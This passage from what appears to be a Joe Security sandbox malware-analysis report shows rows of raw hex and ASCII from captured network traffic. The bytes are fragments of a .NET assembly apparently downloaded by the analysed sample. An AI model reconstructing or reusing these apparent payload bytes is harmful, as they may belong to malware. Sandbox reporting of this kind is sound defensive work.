2022-01-15 19:23:42 UTC 8246 IN Data Raw: 06 a2 25 17 06 a2 28 8c 00 00 06 0b 07 03 6f 51 01 00 06 28 8b 00 00 06 6f c8 00 00 0a 02 07 6f 37 00 00 06 25 18 33 08 02 03 04 28 62 00 00 06 19 33 06 73 a9 00 00 0a 7a 2a d6 03 6f 49 01 00 06 2c 2c 02 28 9e 00 00 06 25 2d 04 26 14 2b 05 28 14 00 00 2b 6f 39 00 00 06 25 18 33 08 02 03 04 28 63 00 00 06 19 33 06 73 a9 00 00 0a 7a 2a de 03 6f 47 01 00 06 2c 2e 02 17 8d 38 00 00 02 25 16 73 a2 00 00 06 a2 28 8c 00 00 06 6f 44 00 00 06 25 18 33 08 02 03 04 28 64 00 00 06 19 33 06 73 a9 00 00 0a 7a 2a 00 00 13 30 05 00 49 00 00 00 00 00 00 00 03 6f 45 01 00 06 2c 40 02 28 11 00 00 06 6f 3f 00 00 06 26 02 17 8d 38 00 00 02 25 16 73 a5 00 00 06 a2 28 8c 00 00 06 6f 40 00 00 06 26 02 17 8d 38 00 00 02 25 16 73 a8 00 00 06 a2 28 8c 00 00 06 6f 42 00 00 06 26 2a Data Ascii: %(oQ(oo7%3(b3sz*oI,,(%-&+(+o9%3(c3sz*oG,.8%s(oD%3(d3sz*0IoE,@(o?&8%s(o@&8%s(oB&*

2022-01-15 19:23:42 UTC 8247 IN Data Raw: af 00 00 0a 28 b0 00 00 0a 28 de 00 00 06 28 62 00 00 0a 28 28 00 00 06 72 53 09 00 70 7e 1e 00 00 0a 6f 1f 00 00 0a 28 b1 01 00 06 2a 46 04 28 b1 00 00 0a 6f b2 00 00 0a 28 cb 01 00 06 2a 86 04 28 b3 00 00 0a 6f b4 00 00 0a 6f b5 00 00 0a 28 b9 01 00 06 04 28 e5 00 00 06 28 b7 01 00 06 2a 13 30 0c 00 96 00 00 00 00 00 00 00 04 7e 06 01 00 04 2d 24 16 d0 57 00 00 01 28 b6 00 00 0a d0 0d 00 00 02 28 b6 00 00 0a 28 b7 00 00 0a 28 b8 00 00 0a 80 06 01 00 04 7e 06 01 00 04 7b b9 00 00 0a 7e 06 01 00 04 7e 05 01 00 04 2d 30 16 72 87 0a 00 70 14 d0 0d 00 00 02 28 b6 00 00 0a 17 8d 8a 00 00 01 25 16 16 14 28 ba 00 00 0a a2 28 bb 00 00 0a 28 bc 00 00 0a 80 05 01 00 04 7e 05 01 00 04 7b bd 00 00 0a 7e 05 01 00 04 28 d1 00 00 06 6f be 00 00 0a 6f bf 00 00 0a 28 bb Data Ascii: (((b((rSp~o(*F(o(*(oo(((*0~-$W((((~{~~-0rp(%(((~{~(oo(

2022-01-15 19:23:42 UTC 8249 IN Data Raw: 25 08 6f 32 01 00 06 6f a6 01 00 06 6f ce 00 00 0a de 03 26 de 00 11 06 17 58 13 06 11 06 11 05 8e 69 32 97 de 03 26 de 00 09 6f 0c 00 00 0a 3a 3e ff ff ff de 0a 09 2c 06 09 6f 0b 00 00 0a dc 07 6f 0c 00 00 0a 3a 0f ff ff ff de 0a 07 2c 06 07 6f 0b 00 00 0a dc de 03 26 de 00 06 2a 00 00 41 7c 00 00 00 00 00 00 7a 00 00 00 51 00 00 00 cb 00 00 00 03 00 00 00 0f 00 00 01 00 00 00 00 32 00 00 00 ac 00 00 00 de 00 00 00 03 00 00 00 0a 00 00 01 02 00 00 00 25 00 00 00 c9 00 00 00 ee 00 00 00 0a 00 00 00 00 00 00 00 02 00 00 00 0d 00 00 00 f8 00 00 00 05 01 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 0b 01 00 00 11 01 00 00 03 00 00 00 0a 00 00 01 1b 30 06 00 f0 00 00 00 27 00 00 11 73 a6 00 00 0a 0a 02 0b 16 0c 38 d1 00 00 00 07 08 9a 0d 09 6f 30 01 Data Ascii: %o2oo&Xi2&o:>,oo:,o&*A|zQ2%0's8o0

2022-01-15 19:23:42 UTC 8250 IN Data Raw: 0c 6f 1d 00 00 0a 13 0d 11 0d 73 22 00 00 0a 13 0e 11 0e 6f d4 00 00 0a 16 6a 3e 86 00 00 00 11 0e 6f d4 00 00 0a 11 08 30 7b 07 20 00 00 20 03 6a 2f 72 11 0e 6f 23 00 00 0a 6f 24 00 00 0a 17 8d 57 00 00 01 25 16 18 8d 59 00 00 01 25 16 1f 3a 9d 25 17 1f 5c 9d 73 3b 00 00 0a a2 17 6f 4f 00 00 0a 13 0f 06 11 0e 6f 24 00 00 0a 73 9c 01 00 06 25 11 0f 2c 07 11 0f 8e 69 17 30 07 7e 1e 00 00 0a 2b 04 11 0f 17 9a 6f a4 01 00 06 25 11 0d 6f a0 01 00 06 6f ce 00 00 0a 07 11 0e 6f d4 00 00 0a 58 0b de 03 26 de 00 11 0c 6f 0c 00 00 0a 3a 49 ff ff ff de 0c 11 0c 2c 07 11 0c 6f 0b 00 00 0a dc de 03 26 de 00 11 0a 17 58 13 0a 11 0a 11 09 8e 69 3f 02 ff ff ff 38 e1 00 00 00 11 05 11 07 28 4a 00 00 0a 11 06 28 8f 00 00 06 6f 1c 00 00 0a 13 0c 38 ab 00 00 00 11 0c 6f 1d Data Ascii: os"oj>o0{ j/ro#o$W%Y%:%\s;oOo$s%,i0~+o%oooX&o:I,o&Xi?8(J(o8o

2022-01-15 19:23:42 UTC 8251 IN Data Raw: 72 99 0a 00 70 7e 1e 00 00 0a 28 1f 00 00 0a a2 28 1f 01 00 06 6f da 00 00 0a 07 6f 20 00 00 0a 0c 38 9d 00 00 00 12 02 28 21 00 00 0a 0d 09 73 22 00 00 0a 28 23 00 00 0a 6f 24 00 00 0a 1f 1a 28 55 00 00 0a 72 2f 03 00 70 28 2b 00 00 0a 7e 1e 00 00 0a 6f 1f 00 00 0a 1f 1c 28 55 00 00 0a 72 2f 03 00 70 28 2b 00 00 0a 7e 1e 00 00 0a 6f 1f 00 00 0a 17 8d 59 00 00 01 25 16 1f 5c 9d 6f 9c 00 00 0a 16 9a 13 04 06 73 2c 01 00 06 25 11 04 6f 25 01 00 06 25 09 73 22 00 00 0a 28 23 00 00 0a 6f 24 00 00 0a 6f 27 01 00 06 25 72 a1 0a 00 70 6f 29 01 00 06 25 16 6f 2b 01 00 06 6f db 00 00 0a 12 02 28 39 00 00 0a 3a 57 ff ff ff de 0e 12 02 fe 16 08 00 00 1b 6f 0b 00 00 0a dc de 03 26 de 00 de 03 26 de 00 06 2a 00 00 00 41 4c 00 00 02 00 00 00 eb 00 00 00 b0 00 00 00 9b Data Ascii: rp~((oo 8(!s"(#o$(Ur/p(+~o(Ur/p(+~oY%\os,%o%%s"(#o$o'%rpo)%o+o(9:Wo&&*AL

2022-01-15 19:23:42 UTC 8253 IN Data Raw: 00 00 00 00 00 00 00 00 00 06 00 00 00 7e 02 00 00 84 02 00 00 03 00 00 00 0a 00 00 01 1e 02 7b 0c 00 00 04 2a 22 02 03 7d 0c 00 00 04 2a 00 00 00 1b 30 07 00 bb 00 00 00 2f 00 00 11 1f 0f 8d 59 00 00 01 25 d0 e3 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 0a 04 6f 23 00 00 0a 0b 7e 1e 00 00 0a 0c 07 6f 68 00 00 0a 1b 8d 59 00 00 01 25 d0 bd 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 28 40 00 00 0a 2c 2e 07 6f 24 00 00 0a 17 8d 57 00 00 01 25 16 1b 8d 59 00 00 01 25 d0 bd 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a a2 17 6f 4f 00 00 0a 17 9a 0c 1e 8d 59 00 00 01 25 d0 a5 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 03 6f 24 01 00 06 08 28 3f 00 00 0a 2d 0d 72 2f 03 00 70 08 28 2b 00 00 0a 2b 05 72 57 0a 00 70 28 62 00 00 0a 0d de 05 26 de 00 06 2a 09 2a 00 01 10 00 00 00 00 Data Ascii: ~{*"}*0/Y%(:s;o#~ohY%(:s;(@,.o$W%Y%(:s;oOY%(:s;o$(?-r/p(++rWp(b&**

2022-01-15 19:23:42 UTC 8254 IN Data Raw: 0a 0a 7e e7 00 00 0a 1f 14 8d 59 00 00 01 25 d0 d8 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f e8 00 00 0a 0b 07 2d 07 06 0d dd dc 00 00 00 07 1f 09 8d 59 00 00 01 25 d0 d0 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f e9 00 00 0a 75 57 00 00 01 0c 08 28 aa 00 00 0a 2d 07 06 0d dd aa 00 00 00 06 73 2c 01 00 06 13 04 11 04 08 6f 27 01 00 06 11 04 1c 8d 59 00 00 01 25 d0 c3 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f 29 01 00 06 11 04 16 6f 2b 01 00 06 11 04 6f db 00 00 0a 06 73 2c 01 00 06 13 04 11 04 08 1c 8d 59 00 00 01 25 d0 b8 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 28 3c 00 00 0a 6f 27 01 00 06 11 04 1f 13 8d 59 00 00 01 25 d0 f1 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 72 5a 0b 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 6f 29 01 00 06 11 04 16 6f 2b 01 00 06 11 04 6f Data Ascii: ~Y%(:s;o-Y%(:s;ouW(-s,o'Y%(:s;o)o+os,Y%(:s;(<o'Y%(:s;rZp~(o)o+o

2022-01-15 19:23:42 UTC 8255 IN Data Raw: 00 06 9f 11 0e 11 0f 11 0e 11 0f 96 1f 09 6a 31 28 11 0e 11 0f 96 28 b4 00 00 06 2c 0e 11 0e 11 0f 96 1f 0d 6a 59 18 6a 5b 2b 1c 11 0e 11 0f 96 1f 0c 6a 59 18 6a 5b 2b 0e 02 7b 0d 00 00 04 11 0e 11 0f 96 d4 91 6e 9f 11 0f 17 58 13 0f 11 0f 1a 31 91 02 7b 0e 00 00 04 17 6a 2e 0d 02 7b 0e 00 00 04 18 6a 40 db 00 00 00 02 7b 0e 00 00 04 17 6a 33 51 02 7b 12 00 00 04 09 11 06 69 58 8f 45 00 00 02 1f 0c 8d 59 00 00 01 25 d0 ed 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 28 71 00 00 0a 02 7b 0f 00 00 04 11 0a 11 0d 58 11 0e 16 96 58 69 11 0e 17 96 69 6f ed 00 00 0a 7d 97 00 00 04 38 80 00 00 00 02 7b 0e 00 00 04 18 6a 33 37 02 7b 12 00 00 04 09 11 06 69 58 8f 45 00 00 02 28 78 00 00 0a 02 7b 0f 00 00 04 11 0a 11 0d 58 11 0e 16 96 58 69 11 0e 17 96 69 6f ed 00 00 0a Data Ascii: j1((,jYj[+jYj[+{nX1{j.{j@{j3Q{iXEY%(:s;(q{XXiio}8{j37{iXE(x{XXiio

2022-01-15 19:23:42 UTC 8257 IN Data Raw: 44 00 00 02 7b 96 00 00 04 1f 09 6a 31 43 11 0a 11 0c 8f 44 00 00 02 7b 96 00 00 04 28 b4 00 00 06 2c 17 11 0a 11 0c 8f 44 00 00 02 7b 96 00 00 04 1f 0d 6a 59 18 6a 5b 2b 2e 11 0a 11 0c 8f 44 00 00 02 7b 96 00 00 04 1f 0c 6a 59 18 6a 5b 2b 17 02 7b 0d 00 00 04 11 0a 11 0c 8f 44 00 00 02 7b 96 00 00 04 d4 91 6e 7d 95 00 00 04 11 0b 11 08 11 0d 59 6a 58 17 6a 58 13 0b 11 0c 17 58 13 0c 11 0b 11 09 3f 33 ff ff ff 11 0a 39 12 02 00 00 02 7b 13 00 00 04 07 08 58 8f 46 00 00 02 11 0a 8e 69 8d 57 00 00 01 7d 9a 00 00 04 16 13 0e 16 13 0f 38 de 01 00 00 11 0a 11 0f 8f 44 00 00 02 7b 96 00 00 04 1f 09 6a 3e 74 01 00 00 11 0a 11 0f 8f 44 00 00 02 7b 96 00 00 04 28 b4 00 00 06 3a 04 01 00 00 02 7b 0e 00 00 04 17 6a 33 5b 02 7b 13 00 00 04 07 08 58 8f 46 00 00 02 7b Data Ascii: D{j1CD{(,D{jYj[+.D{jYj[+{D{n}YjXjXX?39{XFiW}8D{j>tD{(:{j3[{XF{

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 87 of 103

2022-01-15 19:23:42 UTC 8258 IN Data Raw: 11 05 17 58 13 05 11 04 17 59 13 04 2b 23 08 2d 20 06 11 05 02 7b 0f 00 00 04 11 06 91 09 17 59 1f 1f 5f 63 20 ff 00 00 00 09 1f 1f 5f 63 5f d2 9c 11 06 15 58 13 06 11 06 03 2f 87 06 16 28 f6 00 00 0a 13 07 de 07 26 16 6a 13 07 de 00 11 07 2a 01 10 00 00 00 00 00 00 fa fa 00 07 0a 00 00 01 26 02 17 6a 5f 17 6a fe 01 2a 00 00 13 30 02 00 0c 00 00 00 3c 00 00 11 02 0a 12 00 03 28 1f 00 00 2b 06 2a 16 03 1a fe 01 2a 00 00 1b 30 04 00 5d 00 00 00 00 00 00 00 72 f9 0d 00 70 72 19 0e 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 72 27 0e 00 70 72 4b 0e 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 03 6f a9 01 00 06 28 2b 00 00 0a 73 f8 00 00 0a 25 16 6f f9 00 00 0a 25 17 6f fa 00 00 0a 28 fb 00 00 0a 20 30 75 00 00 6f fc 00 00 0a 26 de 03 26 de 00 17 2a 00 00 00 01 10 00 00 00 00 Data Ascii: XY+#- {Y_c _c_X/(&j*&j_j*0<(+**0]rprp~(r'prKp~(o(+s%o%o( 0uo&&*

2022-01-15 19:23:42 UTC 8259 IN Data Raw: 00 00 0a 6f 20 00 00 2b 0a de 0d 26 12 01 fe 15 32 00 00 1b 07 0a de 00 06 2a 00 00 01 10 00 00 00 00 00 00 13 13 00 0d 0f 00 00 01 32 28 c9 00 00 06 02 6f 18 01 00 0a 2a 5a 02 d0 32 00 00 1b 28 b6 00 00 0a 28 19 01 00 0a a5 32 00 00 1b 2a 46 02 72 5f 0e 00 70 7e 1e 00 00 0a 6f 1f 00 00 0a 2a 00 00 1b 30 09 00 13 01 00 00 43 00 00 11 73 1b 02 00 06 0a 03 28 3f 00 00 0a 2c 02 17 2a 06 03 17 8d 57 00 00 01 25 16 17 8d 59 00 00 01 25 16 1f 7c 9d 73 3b 00 00 0a a2 17 6f 4f 00 00 0a 7d 0f 01 00 04 06 7b 0f 01 00 04 25 2d 04 26 16 2b 04 8e 16 fe 01 2c 02 17 2a 00 0f 00 28 bc 01 00 06 25 2d 0f 26 12 02 fe 15 33 00 00 1b 08 38 90 00 00 00 28 5e 01 00 06 25 2d 0c 26 12 02 fe 15 33 00 00 1b 08 2b 7c 7e 11 01 00 04 25 2d 17 26 7e 10 01 00 04 fe 06 1f 02 00 06 73 1a Data Ascii: o +&2*2(o*Z2((2*Fr_p~o*0Cs(?,*W%Y%|s;oO}{%-&+,*(%-&38(^%-&3+|~%-&~s

2022-01-15 19:23:42 UTC 8261 IN Data Raw: 06 2a 00 01 1c 00 00 02 00 0d 00 15 22 00 0a 00 00 00 00 00 00 00 00 2c 2c 00 05 0f 00 00 01 13 30 05 00 67 00 00 00 49 00 00 11 02 6f 88 00 00 0a 17 8d 57 00 00 01 25 16 72 a3 02 00 70 a2 17 6f 4f 00 00 0a 14 fe 06 45 01 00 0a 73 46 01 00 0a 28 25 00 00 2b 28 26 00 00 2b 0a 06 16 94 20 c0 00 00 00 33 0a 06 17 94 20 a8 00 00 00 2e 20 06 16 94 20 ac 00 00 00 33 0e 06 17 94 1f 10 32 07 06 17 94 1f 1f 31 08 06 16 94 1f 0a fe 01 2a 17 2a 00 1b 30 05 00 fc 00 00 00 4a 00 00 11 7e 03 00 00 04 7e 06 00 00 04 28 2d 00 00 06 17 8d 57 00 00 01 25 16 72 5b 0e 00 70 a2 17 6f 4f 00 00 0a 7e 1b 01 00 04 25 2d 17 26 7e 1a 01 00 04 fe 06 27 02 00 06 73 47 01 00 0a 25 80 1b 01 00 04 28 27 00 00 2b 39 a3 00 00 00 28 48 01 00 0a 7e 1c 01 00 04 25 2d 17 26 7e 1a 01 00 04 fe Data Ascii: *",,0gIoW%rpoOEsF(%+(&+ 3 . 321**0J~~(-W%r[poO~%-&~'sG%('+9(H~%-&~

2022-01-15 19:23:42 UTC 8262 IN Data Raw: 00 03 0f 00 00 01 1b 30 03 00 cf 00 00 00 4e 00 00 11 73 a7 00 00 0a 0a 7e 78 01 00 0a 72 cb 11 00 70 6f e8 00 00 0a 0b 07 2d 10 7e 78 01 00 0a 72 29 12 00 70 6f e8 00 00 0a 0b 07 6f 79 01 00 0a 0c 16 0d 38 88 00 00 00 73 82 01 00 06 13 04 07 08 09 9a 6f e8 00 00 0a 13 05 11 04 11 05 14 6f e9 00 00 0a 74 57 00 00 01 6f 7d 01 00 06 11 05 72 6f 12 00 70 6f e8 00 00 0a 13 06 11 04 11 06 14 6f e9 00 00 0a 6f 88 00 00 0a 28 cd 00 00 06 6f 81 01 00 06 11 04 6f 80 01 00 06 2c 1a 11 04 11 04 6f 80 01 00 06 28 7a 01 00 0a 6f 7b 01 00 0a 6f 7f 01 00 06 2b 0c 11 04 72 95 12 00 70 6f 7f 01 00 06 06 11 04 6f 7c 01 00 0a 09 17 58 0d 09 08 8e 69 3f 6f ff ff ff de 03 26 de 00 06 2a 00 01 10 00 00 00 00 06 00 c4 ca 00 03 0a 00 00 01 1b 30 03 00 87 00 00 00 4f 00 00 11 72 Data Ascii: 0Ns~xrpo-~xr)pooy8sootWo}ropooo(oo,o(zo{o+rpoo|Xi?o&*0Or

2022-01-15 19:23:42 UTC 8263 IN Data Raw: 06 2b 62 11 06 6f 71 01 00 0a 13 07 06 11 07 1f 0b 8d 59 00 00 01 25 d0 ba 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f 72 01 00 0a 75 57 00 00 01 6f d2 00 00 0a 2d 29 06 11 07 1f 0b 8d 59 00 00 01 25 d0 ba 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f 72 01 00 0a 75 57 00 00 01 6f cf 00 00 0a de 03 26 de 00 11 06 6f 74 01 00 0a 2d 95 de 0c 11 06 2c 07 11 06 6f 0b 00 00 0a dc de 0c 11 05 2c 07 11 05 6f 0b 00 00 0a dc de 0c 11 04 2c 07 11 04 6f 0b 00 00 0a dc de 03 26 de 00 08 17 58 0c 08 07 8e 69 3f 06 ff ff ff 20 8d 00 00 00 8d 59 00 00 01 25 d0 c2 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 72 67 15 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 17 8d 59 00 00 01 25 16 1f 7c 9d 6f 9c 00 00 0a 0b 16 0c 38 f3 00 00 00 07 08 9a 13 08 1f 14 8d 59 00 00 01 25 d0 ce 00 00 04 28 3a Data Ascii: +boqY%(:s;oruWo-)Y%(:s;oruWo&ot-,o,o,o&Xi? Y%(:s;rgp~(Y%|o8Y%(:

2022-01-15 19:23:42 UTC 8264 IN Data Raw: 69 3f 17 ff ff ff de 0a 08 2c 06 08 6f 0b 00 00 0a dc de 03 26 de 00 06 7e 1e 01 00 04 25 2d 17 26 7e 1d 01 00 04 fe 06 2b 02 00 06 73 1a 00 00 0a 25 80 1e 01 00 04 28 2a 00 00 2b 28 13 00 00 2b 2a 00 00 41 64 00 00 02 00 00 00 49 00 00 00 b8 00 00 00 01 01 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 3f 00 00 00 d0 00 00 00 0f 01 00 00 03 00 00 00 0a 00 00 01 02 00 00 00 2a 00 00 00 fa 00 00 00 24 01 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 2a 01 00 00 30 01 00 00 03 00 00 00 0a 00 00 01 1b 30 03 00 43 00 00 00 53 00 00 11 73 a5 00 00 0a 0a 28 82 01 00 0a 28 2b 00 00 2b 7e 1f 01 00 04 25 2d 17 26 7e 1d 01 00 04 fe 06 2c 02 00 06 73 84 01 00 0a 25 80 1f 01 00 04 28 2c 00 00 2b 28 13 00 00 2b 0b de 05 26 de 00 06 2a 07 2a 00 01 10 00 00 00 00 06 Data Ascii: i?,o&~%-&~+s%(*+(+*AdI?*$*00CSs((++~%-&~,s%(,+(+&**

2022-01-15 19:23:42 UTC 8266 IN Data Raw: 2a 00 00 13 30 04 00 d2 00 00 00 00 00 00 00 02 fe 15 30 00 00 02 02 7e 31 00 00 04 7d 33 00 00 04 02 d0 30 00 00 02 28 b6 00 00 0a 28 8e 01 00 0a 7d 32 00 00 04 03 2c 2d 02 03 8e 69 7d 35 00 00 04 02 02 7b 35 00 00 04 28 79 00 00 0a 7d 34 00 00 04 03 16 02 7b 34 00 00 04 02 7b 35 00 00 04 28 8f 01 00 0a 04 2c 2d 02 04 8e 69 7d 37 00 00 04 02 02 7b 37 00 00 04 28 79 00 00 0a 7d 36 00 00 04 04 16 02 7b 36 00 00 04 02 7b 37 00 00 04 28 8f 01 00 0a 05 2c 47 02 05 8e 69 7d 39 00 00 04 02 02 7b 39 00 00 04 28 79 00 00 0a 7d 38 00 00 04 05 16 02 7b 38 00 00 04 02 7b 39 00 00 04 28 8f 01 00 0a 02 05 8e 69 7d 3b 00 00 04 02 02 7b 3b 00 00 04 28 79 00 00 0a 7d 3a 00 00 04 2a 00 00 13 30 02 00 75 00 00 00 00 00 00 00 02 7b 34 00 00 04 7e 77 00 00 0a 28 90 01 00 0a Data Ascii: *00~1}30((}2,-i}5{5(y}4{4{5(,-i}7{7(y}6{6{7(,Gi}9{9(y}8{8{9(i};{;(y}:*0u{4~w(

2022-01-15 19:23:42 UTC 8267 IN Data Raw: 2a 22 02 03 7d 53 00 00 04 2a 1e 02 28 65 00 00 0a 2a 1e 02 7b 54 00 00 04 2a 22 02 03 7d 54 00 00 04 2a 1e 02 28 65 00 00 0a 2a 1e 02 7b 55 00 00 04 2a 22 02 03 7d 55 00 00 04 2a 1e 02 7b 56 00 00 04 2a 22 02 03 7d 56 00 00 04 2a 1e 02 7b 57 00 00 04 2a 22 02 03 7d 57 00 00 04 2a 1e 02 28 65 00 00 0a 2a 1e 02 7b 58 00 00 04 2a 22 02 03 7d 58 00 00 04 2a 1e 02 7b 59 00 00 04 2a 22 02 03 7d 59 00 00 04 2a 1e 02 7b 5a 00 00 04 2a 22 02 03 7d 5a 00 00 04 2a 1e 02 7b 5b 00 00 04 2a 22 02 03 7d 5b 00 00 04 2a 1e 02 7b 5c 00 00 04 2a 22 02 03 7d 5c 00 00 04 2a 1e 02 7b 5d 00 00 04 2a 22 02 03 7d 5d 00 00 04 2a 1e 02 7b 5e 00 00 04 2a 22 02 03 7d 5e 00 00 04 2a 1e 02 7b 5f 00 00 04 2a 22 02 03 7d 5f 00 00 04 2a 1e 02 7b 60 00 00 04 2a 22 02 03 7d 60 00 00 04 2a Data Ascii: *"}S*(e*{T*"}T*(e*{U*"}U*{V*"}V*{W*"}W*(e*{X*"}X*{Y*"}Y*{Z*"}Z*{[*"}[*{\*"}\*{]*"}]*{^*"}^*{_*"}_*{`*"}`*

2022-01-15 19:23:42 UTC 8268 IN Data Raw: 28 65 00 00 0a 2a 1e 02 28 65 00 00 0a 2a 8a 02 7b f4 00 00 04 1d 8d 59 00 00 01 25 d0 d5 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 28 03 00 00 06 2a b2 02 7b f4 00 00 04 72 15 18 00 70 1d 8d 59 00 00 01 25 d0 d5 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 28 2b 00 00 0a 28 03 00 00 06 2a 8e 02 7b f4 00 00 04 1f 11 8d 59 00 00 01 25 d0 d2 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 28 03 00 00 06 2a 32 02 7b f4 00 00 04 28 02 00 00 06 2a 32 02 7b f4 00 00 04 28 04 00 00 06 2a 32 02 7b f4 00 00 04 28 05 00 00 06 2a 2e 73 dc 01 00 06 80 f5 00 00 04 2a 1e 02 28 65 00 00 0a 2a 1e 03 28 66 00 00 0a 2a 2a 03 6f 91 01 00 0a 16 fe 02 2a 2a 03 6f 91 01 00 0a 16 fe 02 2a 2a 03 6f 91 01 00 0a 16 fe 02 2a 2a 03 6f 9201 00 0a 16 fe 02 2a 2a 03 6f 93 01 00 0a 16 fe 02 2a 2a 03 6f Data Ascii: (e*(e*{Y%(:s;(*{rpY%(:s;(+(*{Y%(:s;(*2{(*2{(*2{(*.s*(e*(f**o**o**o**o**o**o

2022-01-15 19:23:42 UTC 8270 IN Data Raw: b5 00 00 0a 2a 00 00 00 42 53 4a 42 01 00 01 00 00 00 00 00 0c 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 05 00 6c 00 00 00 7c 64 00 00 23 7e 00 00 e8 64 00 00 58 43 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 40 a8 00 00 64 18 00 00 23 55 53 00 a4 c0 00 00 10 00 00 00 23 47 55 49 44 00 00 00 b4 c0 00 00 0c 20 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 57 ff a2 3f 09 0e 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 bd 00 00 00 7e 00 00 00 1f 01 00 00 2c 02 00 00 78 02 00 00 0b 00 00 00 a6 01 00 00 15 00 00 00 df 01 00 00 11 00 00 00 01 00 00 00 1e 00 00 00 5a 00 00 00 18 00 00 00 64 00 00 00 c2 00 00 00 08 00 00 00 01 00 00 00 44 00 00 00 02 00 00 00 59 00 00 00 01 00 00 00 0d 00 00 00 37 00 00 00 05 00 00 00 2c 00 00 00 00 00 bc 26 01 00 00 Data Ascii: *BSJBv4.0.30319l|d#~dXC#Strings@d#US#GUID #BlobW?3~,xZdDY7,&

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 88 of 103

2022-01-15 19:23:42 UTC 8271 IN Data Raw: 00 d9 3a b8 2c 1a 00 c8 3c b8 2c 1a 00 f6 2d b8 2c 1a 00 f2 2c b8 2c 00 00 00 00 f8 11 00 00 00 00 01 00 01 00 81 01 10 00 14 33 00 00 29 00 01 00 01 00 01 00 10 00 80 19 00 00 29 00 01 00 09 00 81 01 10 00 9a 02 00 00 29 00 01 00 0d 00 01 00 10 00 06 30 00 00 29 00 01 00 11 00 01 00 10 00 af 34 00 00 29 00 01 00 13 00 81 01 10 00 7e 32 00 00 29 00 02 00 26 00 81 01 10 00 09 3e 00 00 29 00 02 00 2a 00 01 00 10 00 0e 31 00 00 29 00 02 00 2e 00 81 01 10 00 8f 2b 00 00 29 00 03 00 49 00 81 01 00 00 aa 3a 00 00 29 00 03 00 4b 00 01 00 10 00 7a 31 00 00 3c 00 08 00 4c 00 01 00 10 00 6b 31 00 00 3c 00 08 00 66 00 01 01 00 00 01 3b 00 00 6d 00 08 00 80 00 81 00 10 00 d9 22 00 00 29 00 08 00 84 00 81 01 10 00 83 41 00 00 29 00 0a 00 8a 00 81 01 10 00 8a 30 00 00 Data Ascii: :,<,-,,,3)))0)4)~2)&>)*1).+)I:)Kz1<Lk1<f;m")A)0

2022-01-15 19:23:42 UTC 8272 IN Data Raw: 00 00 0c 0e 00 00 49 01 20 01 2d 02 13 01 00 00 01 00 00 00 49 01 20 01 2d 02 13 01 00 00 bf 04 00 00 49 01 20 01 2d 02 13 01 00 00 36 09 00 00 49 01 20 01 2d 02 13 01 00 00 41 0d 00 00 49 01 20 01 2d 02 13 01 00 00 86 0f 00 00 49 01 20 01 2d 02 13 01 00 00 53 00 00 00 49 01 20 01 2d 02 13 01 00 00 11 05 00 00 49 01 20 01 2d 02 13 01 00 00 8c 09 00 00 49 01 20 01 2d 02 13 01 00 00 a8 0f 00 00 49 01 20 01 2d 02 13 01 00 00 9e 00 00 00 49 01 20 01 2d 02 13 01 00 00 33 05 00 00 49 01 20 01 2d 02 13 01 00 00 ec 09 00 00 49 01 20 01 2d 02 13 01 00 00 c5 0f 00 00 49 01 20 01 2d 02 13 01 00 00 bb 00 00 00 49 01 20 01 2d 02 13 01 00 00 c3 05 00 00 49 01 20 01 2d 02 13 01 00 00 72 0a 00 00 49 01 20 01 2d 02 13 01 00 00 e2 0f 00 00 49 01 20 01 2d 02 13 01 00 00 28 Data Ascii: I -I -I -6I -AI -I -SI -I -I -I -I -3I -I -I -I -I -rI -I -(

2022-01-15 19:23:42 UTC 8274 IN Data Raw: 0b c0 11 33 01 bd 0e c5 11 33 01 8b 10 ca 11 33 01 ff 0f cf 11 33 01 7d 11 d4 11 33 01 d9 14 d4 11 33 01 96 04 b1 11 33 01 e3 0c d9 11 33 01 aa 11 de 11 33 01 ce 02 e3 11 33 01 70 00 e8 11 33 01 4d 08 ed 11 33 01 fc 0b e3 11 33 01 5c 18 f2 11 33 01 79 0d ca 11 33 01 2b 15 f7 11 33 01 99 16 b1 11 33 01 c3 09 d4 11 33 01 06 11 fc 11 33 01 3d 17 e3 11 33 01 c4 12 cf 11 33 01 91 13 01 12 33 01 e8 07 c0 11 33 01 9a 05 c5 11 33 01 0d 09 06 12 33 01 e1 17 e3 11 33 01 2f 03 0b 12 33 01 70 16 cf 11 33 01 16 13 b1 11 33 01 5e 14 52 11 33 01 58 15 fc 11 33 01 c9 15 c0 11 33 01 16 0b cf 11 33 01 1e 16 c0 11 33 01 ba 0c 10 12 33 01 a5 02 15 12 33 01 c2 16 e3 11 33 01 d8 00 c0 11 33 01 9f 08 d9 11 33 01 33 18 b1 11 33 01 02 15 d9 11 33 01 28 0e 1a 12 33 01 b0 14 b1 11 Data Ascii: 3333}333333p3M33\3y3+3333=3333333/3p33^R3X333333333333(3

